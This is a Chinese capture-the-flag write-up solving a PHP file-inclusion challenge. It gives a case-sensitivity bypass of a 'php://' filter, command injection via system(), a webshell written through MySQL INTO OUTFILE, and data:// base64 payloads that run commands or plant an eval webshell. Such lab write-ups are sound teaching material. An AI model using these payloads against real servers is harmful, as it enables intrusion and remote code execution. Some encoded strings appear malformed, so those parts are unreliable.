目錄
- 基礎題解
- 本題相關知識點:
- 一題多解:
-
- php檔案包含
- 一句話木馬
- data://僞協定
- data://僞協定+一句話木馬
基礎題解
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
上面這段代碼功能:上傳内容中若有“php://”則删除
此處利用strstr()函數大小寫的敏感性,進行繞過:
/?page=PHP://input
然後傳入php語句
得到目錄檔案
然後可直接獲得flag
注意:
現在好像不能直接在網頁中顯示flag,隻有用bp才能看到
如下:
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
本題相關知識點:
php://input、php://output用法解析
php協定
php://詳解
一題多解:
php檔案包含
1.審計php代碼,while函數根據page參數來判斷php檔案是否存在,如果存在此檔案,則進行檔案包含。
2.預設頁面為http://127.0.0.1/index.php,設定為page值,可確定while為真
3.利用hello參數将執行内容顯示,flag如圖所示
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E
%3C是
<
%22是
"
%3E是
>
一句話木馬
先用禦劍掃描背景看到管理者界面
使用者名為root,密碼為空
然後進行資料庫更改
SQL查詢語句
SELECT "<?php eval(@$_POST['1']); ?>"
INTO OUTFILE '/tmp/test1.php'
添加一句話木馬
然後打開中國劍蟻
輸入url和密碼
使用方法:在網址後加參數:
/?page=/tmp/test1.php
這裡一定要注意,不能忘記tmp前面的
/
得到flag
data://僞協定
既然過濾了php://的僞協定 我們可以使用其他協定來做這裡使用data://僞協定
data://僞協定
php5.2.0起,資料流封裝器開始有效,主要用于資料流的讀取。如果傳入的資料是PHP代碼,就會執行代碼
使用方法:
data://text/plain;base64,xxxx(base64編碼後的資料)
<?php system("ls")?> base64編碼後使用
/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b
(注意編碼後的+号要URL編碼)
<?php system("cat fl4gisisish3r3.php")?> base64編碼後使用
/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
檢視源碼得到flag
data://僞協定+一句話木馬
<?php eval($_POST["1"]); ?>
base64加密後拼接
/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
菜刀連接配接即可
(不用base64同樣可以達到效果)
再或者
/index.php?page=data:text/plain,<?php system("ls"); ?>